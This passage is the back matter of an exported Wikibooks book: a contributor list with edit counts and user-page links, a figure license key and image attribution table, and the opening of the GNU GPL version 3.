112 https://en.wikibooks.org/w/index.php%3ftitle=User:JenVan&action=edit&redlink=1
113 https://en.wikibooks.org/wiki/User:Jeshii~enwikibooks
114 https://en.wikibooks.org/wiki/User:Jguk
115 https://en.wikibooks.org/wiki/User:Jianhui67
116 https://en.wikibooks.org/w/index.php%3ftitle=User:Jikanter~enwikibooks&action=edit&redlink=1
117 https://en.wikibooks.org/w/index.php%3ftitle=User:JohnWhitlock&action=edit&redlink=1

5 Jomegat[118]
3 Jshadias~enwikibooks[119]
6 K7.india[120]
4 Kabritu[121]
1 Kai Burghardt[122]
1 Kaj[123]
1 Kaltenmeyer[124]
2 Kander[125]
4 Karl McClendon[126]
1 Kayau[127]
1 Kenneths[128]
1 Kernigh[129]
2 Kerrick~enwikibooks[130]
1 Kimredd[131]
5 King elessar[132]
4 Koavf[133]
1 Koos Jol[134]
2 Korath[135]
35 Krauss[136]
3 Krinkle[137]
1 Kusk~enwikibooks[138]
1 Kwpl[139]
2 Larrycao2017[140]
5 Leaderboard[141]
2 Leonren[142]

118 https://en.wikibooks.org/wiki/User:Jomegat
119 https://en.wikibooks.org/wiki/User:Jshadias~enwikibooks
120 https://en.wikibooks.org/w/index.php%3ftitle=User:K7.india&action=edit&redlink=1
121 https://en.wikibooks.org/w/index.php%3ftitle=User:Kabritu&action=edit&redlink=1
122 https://en.wikibooks.org/wiki/User:Kai_Burghardt
123 https://en.wikibooks.org/wiki/User:Kaj
124 https://en.wikibooks.org/w/index.php%3ftitle=User:Kaltenmeyer&action=edit&redlink=1
125 https://en.wikibooks.org/wiki/User:Kander
126 https://en.wikibooks.org/w/index.php%3ftitle=User:Karl_McClendon&action=edit&redlink=1
127 https://en.wikibooks.org/wiki/User:Kayau
128 https://en.wikibooks.org/w/index.php%3ftitle=User:Kenneths&action=edit&redlink=1
129 https://en.wikibooks.org/wiki/User:Kernigh
130 https://en.wikibooks.org/w/index.php%3ftitle=User:Kerrick~enwikibooks&action=edit&redlink=1
131 https://en.wikibooks.org/w/index.php%3ftitle=User:Kimredd&action=edit&redlink=1
132 https://en.wikibooks.org/w/index.php%3ftitle=User:King_elessar&action=edit&redlink=1
133 https://en.wikibooks.org/wiki/User:Koavf
134 https://en.wikibooks.org/wiki/User:Koos_Jol
135 https://en.wikibooks.org/wiki/User:Korath
136 https://en.wikibooks.org/wiki/User:Krauss
137 https://en.wikibooks.org/wiki/User:Krinkle
138 https://en.wikibooks.org/wiki/User:Kusk~enwikibooks
139 https://en.wikibooks.org/w/index.php%3ftitle=User:Kwpl&action=edit&redlink=1
140 https://en.wikibooks.org/w/index.php%3ftitle=User:Larrycao2017&action=edit&redlink=1
141 https://en.wikibooks.org/wiki/User:Leaderboard
142 https://en.wikibooks.org/w/index.php%3ftitle=User:Leonren&action=edit&redlink=1

1 Linuxwebdeveloper[143]
4 Liuchangjohn[144]
1 LlamaAl[145]
2 Lverhofs[146]
17 MarcGarver[147]
2 Marek~enwikibooks[148]
8 Masonbarge[149]
1 MathXplore[150]
1 Maths314[151]
2 Mavritivs[152]
6 Meatballhat[153]
1 Mercy[154]
1 MichaelFrey[155]
62 Mike's bot account[156]
2 Mike.lifeguard[157]
2 Mild Bill Hiccup[158]
3 Minorax[159]
3 Mjstelly[160]
1 Mogyiman[161]
9 Monkeymatt[162]
2 Moonty~enwikibooks[163]
17 Mortense[164]
1 MrBlueSky[165]
1 MrJaroslavik[166]

143 https://en.wikibooks.org/w/index.php%3ftitle=User:Linuxwebdeveloper&action=edit&redlink=1
144 https://en.wikibooks.org/w/index.php%3ftitle=User:Liuchangjohn&action=edit&redlink=1
145 https://en.wikibooks.org/wiki/User:LlamaAl
146 https://en.wikibooks.org/w/index.php%3ftitle=User:Lverhofs&action=edit&redlink=1
147 https://en.wikibooks.org/wiki/User:MarcGarver
148 https://en.wikibooks.org/w/index.php%3ftitle=User:Marek~enwikibooks&action=edit&redlink=1
149 https://en.wikibooks.org/w/index.php%3ftitle=User:Masonbarge&action=edit&redlink=1
150 https://en.wikibooks.org/wiki/User:MathXplore
151 https://en.wikibooks.org/wiki/User:Maths314
152 https://en.wikibooks.org/w/index.php%3ftitle=User:Mavritivs&action=edit&redlink=1
153 https://en.wikibooks.org/wiki/User:Meatballhat
154 https://en.wikibooks.org/wiki/User:Mercy
155 https://en.wikibooks.org/wiki/User:MichaelFrey
156 https://en.wikibooks.org/wiki/User:Mike%2527s_bot_account
157 https://en.wikibooks.org/wiki/User:Mike.lifeguard
158 https://en.wikibooks.org/w/index.php%3ftitle=User:Mild_Bill_Hiccup&action=edit&redlink=1
159 https://en.wikibooks.org/wiki/User:Minorax
160 https://en.wikibooks.org/w/index.php%3ftitle=User:Mjstelly&action=edit&redlink=1
161 https://en.wikibooks.org/w/index.php%3ftitle=User:Mogyiman&action=edit&redlink=1
162 https://en.wikibooks.org/wiki/User:Monkeymatt
163 https://en.wikibooks.org/w/index.php%3ftitle=User:Moonty~enwikibooks&action=edit&redlink=1
164 https://en.wikibooks.org/wiki/User:Mortense
165 https://en.wikibooks.org/wiki/User:MrBlueSky
166 https://en.wikibooks.org/wiki/User:MrJaroslavik

1 Munin~enwikibooks[167]
7 Mybot99999~enwikibooks[168]
4 N313t3[169]
2 Neils51[170]
1 Neoptolemus[171]
8 Niallj[172]
1 Nicole Sharp[173]
3 Nikola Smolenski[174]
3 Noah~enwikibooks[175]
3 Nsoyeblcyha[176]
1 Oleku[177]
16 Omegatron[178]
10 Panic2k4[179]
1 Penubag[180]
1 Peterw~enwikibooks[181]
4 Phil Boswell[182]
1 Philoertel~enwikibooks[183]
5 Pi zero[184]
1 Pjetter[185]
1 PlyrStar93[186]
24 PokestarFanBot[187]
3 Polyparadigm~enwikibooks[188]
1 Progdev[189]
2 Programmabilities[190]
5 Psoup[191]

167 https://en.wikibooks.org/w/index.php%3ftitle=User:Munin~enwikibooks&action=edit&redlink=1
168 https://en.wikibooks.org/w/index.php%3ftitle=User:Mybot99999~enwikibooks&action=edit&redlink=1
169 https://en.wikibooks.org/w/index.php%3ftitle=User:N313t3&action=edit&redlink=1
170 https://en.wikibooks.org/w/index.php%3ftitle=User:Neils51&action=edit&redlink=1
171 https://en.wikibooks.org/wiki/User:Neoptolemus
172 https://en.wikibooks.org/wiki/User:Niallj
173 https://en.wikibooks.org/wiki/User:Nicole_Sharp
174 https://en.wikibooks.org/wiki/User:Nikola_Smolenski
175 https://en.wikibooks.org/wiki/User:Noah~enwikibooks
176 https://en.wikibooks.org/wiki/User:Nsoyeblcyha
177 https://en.wikibooks.org/w/index.php%3ftitle=User:Oleku&action=edit&redlink=1
178 https://en.wikibooks.org/wiki/User:Omegatron
179 https://en.wikibooks.org/wiki/User:Panic2k4
180 https://en.wikibooks.org/wiki/User:Penubag
181 https://en.wikibooks.org/wiki/User:Peterw~enwikibooks
182 https://en.wikibooks.org/wiki/User:Phil_Boswell
183 https://en.wikibooks.org/wiki/User:Philoertel~enwikibooks
184 https://en.wikibooks.org/wiki/User:Pi_zero
185 https://en.wikibooks.org/wiki/User:Pjetter
186 https://en.wikibooks.org/wiki/User:PlyrStar93
187 https://en.wikibooks.org/wiki/User:PokestarFanBot
188 https://en.wikibooks.org/wiki/User:Polyparadigm~enwikibooks
189 https://en.wikibooks.org/w/index.php%3ftitle=User:Progdev&action=edit&redlink=1
190 https://en.wikibooks.org/wiki/User:Programmabilities
191 https://en.wikibooks.org/wiki/User:Psoup

4 QUBot[192]
1 Quintucket[193]
1 RAC2000[194]
2 Rarkenin[195]
1 Ray28pi[196]
1 Razr Nation[197]
5 Rdivilbiss~enwikibooks[198]
1 Reach Out to the Truth[199]
6 Recent Runes[200]
2 Redlentil[201]
4 Rexrobards[202]
1 Rjransijn~enwikibooks[203]
6 Roma emu[204]
2 Romainbehar[205]
1 SHB2000[206]
149 Sae1962[207]
22 Samwilson[208]
3 Savetz[209]
2 Scottbeall[210]
1 ScottyWZ[211]
1 ScribeOfTheNile~enwikibooks[212]
1 Seanor~enwikibooks[213]
1 Sercc~enwikibooks[214]
8 ShakespeareFan00[215]

192 https://en.wikibooks.org/wiki/User:QUBot
193 https://en.wikibooks.org/wiki/User:Quintucket
194 https://en.wikibooks.org/w/index.php%3ftitle=User:RAC2000&action=edit&redlink=1
195 https://en.wikibooks.org/w/index.php%3ftitle=User:Rarkenin&action=edit&redlink=1
196 https://en.wikibooks.org/w/index.php%3ftitle=User:Ray28pi&action=edit&redlink=1
197 https://en.wikibooks.org/wiki/User:Razr_Nation
198 https://en.wikibooks.org/w/index.php%3ftitle=User:Rdivilbiss~enwikibooks&action=edit&redlink=1
199 https://en.wikibooks.org/wiki/User:Reach_Out_to_the_Truth
200 https://en.wikibooks.org/wiki/User:Recent_Runes
201 https://en.wikibooks.org/wiki/User:Redlentil
202 https://en.wikibooks.org/w/index.php%3ftitle=User:Rexrobards&action=edit&redlink=1
203 https://en.wikibooks.org/w/index.php%3ftitle=User:Rjransijn~enwikibooks&action=edit&redlink=1
204 https://en.wikibooks.org/w/index.php%3ftitle=User:Roma_emu&action=edit&redlink=1
205 https://en.wikibooks.org/wiki/User:Romainbehar
206 https://en.wikibooks.org/wiki/User:SHB2000
207 https://en.wikibooks.org/wiki/User:Sae1962
208 https://en.wikibooks.org/wiki/User:Samwilson
209 https://en.wikibooks.org/w/index.php%3ftitle=User:Savetz&action=edit&redlink=1
210 https://en.wikibooks.org/w/index.php%3ftitle=User:Scottbeall&action=edit&redlink=1
211 https://en.wikibooks.org/w/index.php%3ftitle=User:ScottyWZ&action=edit&redlink=1
212 https://en.wikibooks.org/w/index.php%3ftitle=User:ScribeOfTheNile~enwikibooks&action=edit&redlink=1
213 https://en.wikibooks.org/w/index.php%3ftitle=User:Seanor~enwikibooks&action=edit&redlink=1
214 https://en.wikibooks.org/w/index.php%3ftitle=User:Sercc~enwikibooks&action=edit&redlink=1
215 https://en.wikibooks.org/wiki/User:ShakespeareFan00

1 Shellreef~enwikibooks[216]
3 Sigafoos[217]
14 Sigma 7[218]
9 Skelly1983[219]
1 Snarius~enwikibooks[220]
5 Snowknight~enwikibooks[221]
1 Sonia[222]
2 Spellcheck[223]
4 Spezied[224]
81 Spoom[225]
1 Spotchk[226]
1 Strait[227]
4 Strange quark[228]
2 Stubbers[229]
1 SvartMan[230]
1 Syum90[231]
1 Tatarigami~enwikibooks[232]
1 Techiemanish[233]
1 Tegel[234]
2 ThE cRaCkEr[235]
4 TheTorpedoDog[236]
4 Thenub314[237]
1 Timgrin[238]
1 Tisane[239]
6 Tom Morris[240]

216 https://en.wikibooks.org/w/index.php%3ftitle=User:Shellreef~enwikibooks&action=edit&redlink=1
217 https://en.wikibooks.org/w/index.php%3ftitle=User:Sigafoos&action=edit&redlink=1
218 https://en.wikibooks.org/wiki/User:Sigma_7
219 https://en.wikibooks.org/w/index.php%3ftitle=User:Skelly1983&action=edit&redlink=1
220 https://en.wikibooks.org/wiki/User:Snarius~enwikibooks
221 https://en.wikibooks.org/w/index.php%3ftitle=User:Snowknight~enwikibooks&action=edit&redlink=1
222 https://en.wikibooks.org/wiki/User:Sonia
223 https://en.wikibooks.org/w/index.php%3ftitle=User:Spellcheck&action=edit&redlink=1
224 https://en.wikibooks.org/w/index.php%3ftitle=User:Spezied&action=edit&redlink=1
225 https://en.wikibooks.org/wiki/User:Spoom
226 https://en.wikibooks.org/w/index.php%3ftitle=User:Spotchk&action=edit&redlink=1
227 https://en.wikibooks.org/w/index.php%3ftitle=User:Strait&action=edit&redlink=1
228 https://en.wikibooks.org/wiki/User:Strange_quark
229 https://en.wikibooks.org/w/index.php%3ftitle=User:Stubbers&action=edit&redlink=1
230 https://en.wikibooks.org/w/index.php%3ftitle=User:SvartMan&action=edit&redlink=1
231 https://en.wikibooks.org/wiki/User:Syum90
232 https://en.wikibooks.org/w/index.php%3ftitle=User:Tatarigami~enwikibooks&action=edit&redlink=1
233 https://en.wikibooks.org/wiki/User:Techiemanish
234 https://en.wikibooks.org/wiki/User:Tegel
235 https://en.wikibooks.org/w/index.php%3ftitle=User:ThE_cRaCkEr&action=edit&redlink=1
236 https://en.wikibooks.org/w/index.php%3ftitle=User:TheTorpedoDog&action=edit&redlink=1
237 https://en.wikibooks.org/wiki/User:Thenub314
238 https://en.wikibooks.org/w/index.php%3ftitle=User:Timgrin&action=edit&redlink=1
239 https://en.wikibooks.org/wiki/User:Tisane
240 https://en.wikibooks.org/wiki/User:Tom_Morris

2 Trevor Andersen~enwikibooks[241]
9 Trince[242]
1 TyA[243]
1 Uncle G[244]
2 Uziel302[245]
3 Van der Hoorn[246]
1 VanishedUser 390318[247]
1 Varshapaul[248]
6 Volomike[249]
10 Vordreller[250]
1 W-dueck[251]
7 Webaware[252]
1 WereSpielChequers[253]
1 Wheat~enwikibooks[254]
1 WikiSyn[255]
1 Wikibooks is Communism[256]
1 Wikijeff[257]
1 Withinfocus[258]
1 Wj32[259]
94 Wykis~enwikibooks[260]
11 X-Savitar[261]
7 Xania[262]
1 Xerol[263]
1 Xiaomao123[264]
1 Yurik[265]

241 https://en.wikibooks.org/wiki/User:Trevor_Andersen~enwikibooks
242 https://en.wikibooks.org/w/index.php%3ftitle=User:Trince&action=edit&redlink=1
243 https://en.wikibooks.org/wiki/User:TyA
244 https://en.wikibooks.org/wiki/User:Uncle_G
245 https://en.wikibooks.org/wiki/User:Uziel302
246 https://en.wikibooks.org/wiki/User:Van_der_Hoorn
247 https://en.wikibooks.org/wiki/User:VanishedUser_390318
248 https://en.wikibooks.org/w/index.php%3ftitle=User:Varshapaul&action=edit&redlink=1
249 https://en.wikibooks.org/wiki/User:Volomike
250 https://en.wikibooks.org/w/index.php%3ftitle=User:Vordreller&action=edit&redlink=1
251 https://en.wikibooks.org/wiki/User:W-dueck
252 https://en.wikibooks.org/wiki/User:Webaware
253 https://en.wikibooks.org/wiki/User:WereSpielChequers
254 https://en.wikibooks.org/wiki/User:Wheat~enwikibooks
255 https://en.wikibooks.org/wiki/User:WikiSyn
256 https://en.wikibooks.org/w/index.php%3ftitle=User:Wikibooks_is_Communism&action=edit&redlink=1
257 https://en.wikibooks.org/wiki/User:Wikijeff
258 https://en.wikibooks.org/wiki/User:Withinfocus
259 https://en.wikibooks.org/wiki/User:Wj32
260 https://en.wikibooks.org/wiki/User:Wykis~enwikibooks
261 https://en.wikibooks.org/wiki/User:X-Savitar
262 https://en.wikibooks.org/wiki/User:Xania
263 https://en.wikibooks.org/wiki/User:Xerol
264 https://en.wikibooks.org/w/index.php%3ftitle=User:Xiaomao123&action=edit&redlink=1
265 https://en.wikibooks.org/wiki/User:Yurik

8 Zeus[266]
2 ☒☒[267]

266 https://en.wikibooks.org/wiki/User:Zeus
267 https://en.wikibooks.org/wiki/User:%25E3%2583%258D%25E3%2582%25A4

List of Figures

- GFDL: Gnu Free Documentation License. http://www.gnu.org/licenses/fdl.html
- cc-by-sa-4.0: Creative Commons Attribution ShareAlike 4.0 License. https://creativecommons.org/licenses/by-sa/4.0/deed.en
- cc-by-sa-3.0: Creative Commons Attribution ShareAlike 3.0 License. http://creativecommons.org/licenses/by-sa/3.0/
- cc-by-sa-2.5: Creative Commons Attribution ShareAlike 2.5 License. http://creativecommons.org/licenses/by-sa/2.5/
- cc-by-sa-2.0: Creative Commons Attribution ShareAlike 2.0 License. http://creativecommons.org/licenses/by-sa/2.0/
- cc-by-sa-1.0: Creative Commons Attribution ShareAlike 1.0 License. http://creativecommons.org/licenses/by-sa/1.0/
- cc-by-1.0: Creative Commons Attribution 1.0 License. https://creativecommons.org/licenses/by/1.0/deed.en
- cc-by-2.0: Creative Commons Attribution 2.0 License. http://creativecommons.org/licenses/by/2.0/
- cc-by-2.5: Creative Commons Attribution 2.5 License. http://creativecommons.org/licenses/by/2.5/deed.en
- cc-by-3.0: Creative Commons Attribution 3.0 License. http://creativecommons.org/licenses/by/3.0/deed.en
- cc-by-4.0: Creative Commons Attribution 4.0 License. https://creativecommons.org/licenses/by/4.0/deed.de
- GPL: GNU General Public License. http://www.gnu.org/licenses/gpl-2.0.txt
- LGPL: GNU Lesser General Public License. http://www.gnu.org/licenses/lgpl.html
- PD: This image is in the public domain.
- ATTR: The copyright holder of this file allows anyone to use it for any purpose, provided that the copyright holder is properly attributed. Redistribution, derivative work, commercial use, and all other use is permitted.
- EURO: This is the common (reverse) face of a euro coin. The copyright on the design of the common face of the euro coins belongs to the European Commission. Authorised

is reproduction in a format without relief (drawings, paintings, films) provided they are not detrimental to the image of the euro.

- LFK: Lizenz Freie Kunst. `http://artlibre.org/licence/lal/de`
- CFR: Copyright free use.
- EPL: Eclipse Public License. `http://www.eclipse.org/org/documents/epl-v10.php`

Copies of the GPL, the LGPL as well as a GFDL are included in chapter Licenses[268]. Please note that images in the public domain do not require attribution. You may click on the image numbers in the following table to open the webpage of the images in your webbrower.

268 Chapter 76 on page 341

1	Varnent[269], Varnent[270]	CC-BY-SA-3.0
2	Ftiercel[271], Ftiercel[272]	GFDL
3	Everaldo Coelho[273] (YellowIcon[274]);	LGPL
4	Everaldo Coelho[275] (YellowIcon[276]);	LGPL
5	Everaldo Coelho[277] (YellowIcon[278]);	LGPL
6	Everaldo Coelho[279] (YellowIcon[280]);	LGPL
7	Everaldo Coelho[281] (YellowIcon[282]);	LGPL
8	Everaldo Coelho[283] (YellowIcon[284]);	LGPL
9	Everaldo Coelho[285] and YellowIcon[286];	LGPL
10	Varnent[287], Varnent[288]	CC-BY-SA-3.0
11	Ftiercel[289], Ftiercel[290]	GFDL
12	Varnent[291], Varnent[292]	CC-BY-SA-3.0
13	Ftiercel[293], Ftiercel[294]	GFDL
14	Varnent[295], Varnent[296]	CC-BY-SA-3.0
15	Ftiercel[297], Ftiercel[298]	GFDL
16	Everaldo Coelho[299] and YellowIcon[300];	LGPL
17	Varnent[301], Varnent[302]	CC-BY-SA-3.0

269 http://commons.wikimedia.org/wiki/User:Varnent
270 https:///wiki/User:Varnent
271 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
272 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
273 https://en.wikipedia.org/wiki/Everaldo_Coelho
274 http://www.yellowicon.com
275 https://en.wikipedia.org/wiki/Everaldo_Coelho
276 http://www.yellowicon.com
277 https://en.wikipedia.org/wiki/Everaldo_Coelho
278 http://www.yellowicon.com
279 https://en.wikipedia.org/wiki/Everaldo_Coelho
280 http://www.yellowicon.com
281 https://en.wikipedia.org/wiki/Everaldo_Coelho
282 http://www.yellowicon.com
283 https://en.wikipedia.org/wiki/Everaldo_Coelho
284 http://www.yellowicon.com
285 https://en.wikipedia.org/wiki/Everaldo_Coelho
286 http://www.yellowicon.com
287 http://commons.wikimedia.org/wiki/User:Varnent
288 https:///wiki/User:Varnent
289 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
290 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
291 http://commons.wikimedia.org/wiki/User:Varnent
292 https:///wiki/User:Varnent
293 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
294 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
295 http://commons.wikimedia.org/wiki/User:Varnent
296 https:///wiki/User:Varnent
297 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
298 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
299 https://en.wikipedia.org/wiki/Everaldo_Coelho
300 http://www.yellowicon.com
301 http://commons.wikimedia.org/wiki/User:Varnent
302 https:///wiki/User:Varnent

18	Ftiercel[303], Ftiercel[304]	GFDL
19	Varnent[305], Varnent[306]	CC-BY-SA-3.0
20	Ftiercel[307], Ftiercel[308]	GFDL
21	Varnent[309], Varnent[310]	CC-BY-SA-3.0
22	Ftiercel[311], Ftiercel[312]	GFDL
23	Everaldo Coelho[313] (YellowIcon[314]);	LGPL
24	Everaldo Coelho[315] (YellowIcon[316]);	LGPL
25	Everaldo Coelho[317] (YellowIcon[318]);	LGPL
26	Everaldo Coelho[319] (YellowIcon[320]);	LGPL
27	Everaldo Coelho[321] (YellowIcon[322]);	LGPL
28	Everaldo Coelho[323] (YellowIcon[324]);	LGPL
29	Everaldo Coelho[325] (YellowIcon[326]);	LGPL
30	Everaldo Coelho[327] (YellowIcon[328]);	LGPL
31	Everaldo Coelho[329] (YellowIcon[330]);	LGPL
32	Everaldo Coelho[331] (YellowIcon[332]);	LGPL
33	Everaldo Coelho[333] (YellowIcon[334]);	LGPL
34	Everaldo Coelho[335] (YellowIcon[336]);	LGPL

303 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
304 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
305 http://commons.wikimedia.org/wiki/User:Varnent
306 https:///wiki/User:Varnent
307 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
308 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
309 http://commons.wikimedia.org/wiki/User:Varnent
310 https:///wiki/User:Varnent
311 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
312 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
313 https://en.wikipedia.org/wiki/Everaldo_Coelho
314 http://www.yellowicon.com
315 https://en.wikipedia.org/wiki/Everaldo_Coelho
316 http://www.yellowicon.com
317 https://en.wikipedia.org/wiki/Everaldo_Coelho
318 http://www.yellowicon.com
319 https://en.wikipedia.org/wiki/Everaldo_Coelho
320 http://www.yellowicon.com
321 https://en.wikipedia.org/wiki/Everaldo_Coelho
322 http://www.yellowicon.com
323 https://en.wikipedia.org/wiki/Everaldo_Coelho
324 http://www.yellowicon.com
325 https://en.wikipedia.org/wiki/Everaldo_Coelho
326 http://www.yellowicon.com
327 https://en.wikipedia.org/wiki/Everaldo_Coelho
328 http://www.yellowicon.com
329 https://en.wikipedia.org/wiki/Everaldo_Coelho
330 http://www.yellowicon.com
331 https://en.wikipedia.org/wiki/Everaldo_Coelho
332 http://www.yellowicon.com
333 https://en.wikipedia.org/wiki/Everaldo_Coelho
334 http://www.yellowicon.com
335 https://en.wikipedia.org/wiki/Everaldo_Coelho
336 http://www.yellowicon.com

35	Everaldo Coelho[337] and YellowIcon[338];	LGPL
36	Everaldo Coelho[339] and YellowIcon[340];	LGPL
37	Everaldo Coelho[341] and YellowIcon[342];	LGPL
38	Everaldo Coelho[343] (YellowIcon[344]);	LGPL
39	Everaldo Coelho[345] (YellowIcon[346]);	LGPL
40	Everaldo Coelho[347] (YellowIcon[348]);	LGPL
41	Everaldo Coelho[349] (YellowIcon[350]);	LGPL
42	Everaldo Coelho[351] (YellowIcon[352]);	LGPL
43	Everaldo Coelho[353] (YellowIcon[354]);	LGPL
44	Everaldo Coelho[355] (YellowIcon[356]);	LGPL
45	Everaldo Coelho[357] (YellowIcon[358]);	LGPL
46	Everaldo Coelho[359] (YellowIcon[360]);	LGPL
47	Varnent[361], Varnent[362]	CC-BY-SA-3.0
48	Ftiercel[363], Ftiercel[364]	GFDL
49	Varnent[365], Varnent[366]	CC-BY-SA-3.0
50	Ftiercel[367], Ftiercel[368]	GFDL
51	Varnent[369], Varnent[370]	CC-BY-SA-3.0

337 https://en.wikipedia.org/wiki/Everaldo_Coelho
338 http://www.yellowicon.com
339 https://en.wikipedia.org/wiki/Everaldo_Coelho
340 http://www.yellowicon.com
341 https://en.wikipedia.org/wiki/Everaldo_Coelho
342 http://www.yellowicon.com
343 https://en.wikipedia.org/wiki/Everaldo_Coelho
344 http://www.yellowicon.com
345 https://en.wikipedia.org/wiki/Everaldo_Coelho
346 http://www.yellowicon.com
347 https://en.wikipedia.org/wiki/Everaldo_Coelho
348 http://www.yellowicon.com
349 https://en.wikipedia.org/wiki/Everaldo_Coelho
350 http://www.yellowicon.com
351 https://en.wikipedia.org/wiki/Everaldo_Coelho
352 http://www.yellowicon.com
353 https://en.wikipedia.org/wiki/Everaldo_Coelho
354 http://www.yellowicon.com
355 https://en.wikipedia.org/wiki/Everaldo_Coelho
356 http://www.yellowicon.com
357 https://en.wikipedia.org/wiki/Everaldo_Coelho
358 http://www.yellowicon.com
359 https://en.wikipedia.org/wiki/Everaldo_Coelho
360 http://www.yellowicon.com
361 http://commons.wikimedia.org/wiki/User:Varnent
362 https:///wiki/User:Varnent
363 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
364 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
365 http://commons.wikimedia.org/wiki/User:Varnent
366 https:///wiki/User:Varnent
367 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
368 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
369 http://commons.wikimedia.org/wiki/User:Varnent
370 https:///wiki/User:Varnent

52	Ftiercel[371], Ftiercel[372]	GFDL
53	Varnent[373], Varnent[374]	CC-BY-SA-3.0
54	Ftiercel[375], Ftiercel[376]	GFDL
55	Varnent[377], Varnent[378]	CC-BY-SA-3.0
56	Ftiercel[379], Ftiercel[380]	GFDL
57	Varnent[381], Varnent[382]	CC-BY-SA-3.0
58	Ftiercel[383], Ftiercel[384]	GFDL
59	Varnent[385], Varnent[386]	CC-BY-SA-3.0
60	Ftiercel[387], Ftiercel[388]	GFDL
61	Everaldo Coelho[389] and YellowIcon[390];	LGPL
62	Darklama[391], Darklama[392]	CC-BY-SA-3.0

371 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
372 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
373 http://commons.wikimedia.org/wiki/User:Varnent
374 https:///wiki/User:Varnent
375 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
376 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
377 http://commons.wikimedia.org/wiki/User:Varnent
378 https:///wiki/User:Varnent
379 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
380 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
381 http://commons.wikimedia.org/wiki/User:Varnent
382 https:///wiki/User:Varnent
383 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
384 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
385 http://commons.wikimedia.org/wiki/User:Varnent
386 https:///wiki/User:Varnent
387 http://commons.wikimedia.org/w/index.php?title=User:Ftiercel&action=edit&redlink=1
388 https:///w/index.php?title=User:Ftiercel&action=edit&redlink=1
389 https://en.wikipedia.org/wiki/Everaldo_Coelho
390 http://www.yellowicon.com
391 http://commons.wikimedia.org/wiki/User:Darklama
392 https:///wiki/User:Darklama

76 Licenses

76.1 GNU GENERAL PUBLIC LICENSE

Version 3, 29 June 2007

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble

The GNU General Public License is a free, copyleft license for software and other kinds of works.

The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program–to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.

When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.

To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.

For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.

Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.

For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions.

Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users.

Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free.

The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions.

"This License" refers to version 3 of the GNU General Public License.

"Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks.

"The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations.

To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work.

A "covered work" means either the unmodified Program or a work based on the Program.

To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well.

To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying.

An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code.

